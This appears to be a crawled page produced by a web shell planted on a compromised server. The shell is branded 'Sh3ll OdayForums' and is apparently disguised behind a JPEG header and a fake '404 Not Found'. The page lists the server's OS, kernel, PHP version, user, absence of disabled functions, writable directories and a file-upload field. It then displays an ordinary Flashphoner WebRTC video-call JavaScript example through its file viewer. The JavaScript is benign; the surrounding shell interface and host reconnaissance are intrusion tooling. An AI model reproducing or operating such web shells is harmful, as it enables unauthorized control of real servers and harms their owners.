����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /usr/local/FlashphonerWebCallServer/client/examples/min/phone-video/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/FlashphonerWebCallServer/client/examples/min/phone-video/Phone-min-video.js
// Instance WCS JavaScript API
var f = Flashphoner.getInstance();

// Current call
var currentCall;

// Init API
function initAPI() {

    f.addListener(WCSEvent.ErrorStatusEvent, errorEvent);
    f.addListener(WCSEvent.ConnectionStatusEvent, connectionStatusListener);
    f.addListener(WCSEvent.RegistrationStatusEvent, registrationStatusListener);
    f.addListener(WCSEvent.CallStatusEvent, callStatusListener);
    f.addListener(WCSEvent.OnCallEvent, callListener, this);
    var configuration = new Configuration();
    configuration.remoteMediaElementId = 'remoteVideo';
    configuration.localMediaElementId = 'localVideo';
    configuration.elementIdForSWF = "flashVideoDiv";
    configuration.pathToSWF = "../../../dependencies/flash/MediaManager.swf";
    f.init(configuration);

    if (webrtcDetectedBrowser) {
        document.getElementById('remoteVideo').style.visibility = "visible";
        document.getElementById('flashVideoWrapper').style.visibility = "hidden";
        document.getElementById('flashVideoDiv').style.visibility = "hidden";
    } else {
        document.getElementById('remoteVideo').style.visibility = "hidden";
        document.getElementById('flashVideoWrapper').style.visibility = "visible";
    }

}

// New connection
function connect() {
    f.connect({urlServer: field("urlServer"), appKey: 'defaultApp', sipLogin: field("sipLogin"), sipPassword: field("sipPassword"), sipDomain: field("sipDomain"), sipPort: parseInt(field("sipPort"))});
}

// Hangup
function hangup() {
    f.hangup(currentCall);
}

// Mute audio during the call
function mute() {
    f.mute();
}

// Unmute audio during the call
function unmute() {
    f.unmute();
}

// Mute video during the call
function muteVideo() {
    f.muteVideo(currentCall.mediaProvider);
}

// Unmute video during the call
function unmuteVideo() {
    f.unmuteVideo(currentCall.mediaProvider);
}

// Check if video is muted
function isVideoMuted() {
    trace("isVideoMuted - " + f.isVideoMuted(currentCall.mediaProvider));
}

// Release camera and microphone
function releaseCameraAndMicrophone(){
    trace("releaseCameraAndMicrophone");
    f.releaseCameraAndMicrophone(MediaProvider.WebRTC);
}


// New call
function call() {
    var call = new Call();
    call.callee = field("callee");
    call.hasVideo = true;
    currentCall = f.call(call);
}

// Answer with video
function answer() {
    currentCall.hasVideo = true;
    f.answer(currentCall);
}


// Connection Status
function connectionStatusListener(event) {
    trace(event.status);
    if (event.status == ConnectionStatus.Established) {
        trace('Connection has been established. You can start a new call.');
    }
}

// Registration Status
function registrationStatusListener(event) {
    trace(event.status);
}

// Incoming call handler
function callListener(event) {
    var call = event;
    trace("Phone - callListener " + call.callId + " call.mediaProvider: " + call.mediaProvider + " call.status: " + call.status);
    currentCall = call;
}

// Call Status
function callStatusListener(event) {
    trace(event.status);
    if (event.status == CallStatus.ESTABLISHED) {
        trace('Call ' + event.callId + ' is established');
    }
}

// Error
function errorEvent(event) {
    trace(event.info);
}

// Trace
function trace(str) {
    console.log(str);
}

// Get field
function field(name){
    var field = document.getElementById(name).value;
    return field;
}

ZeroDay Forums Mini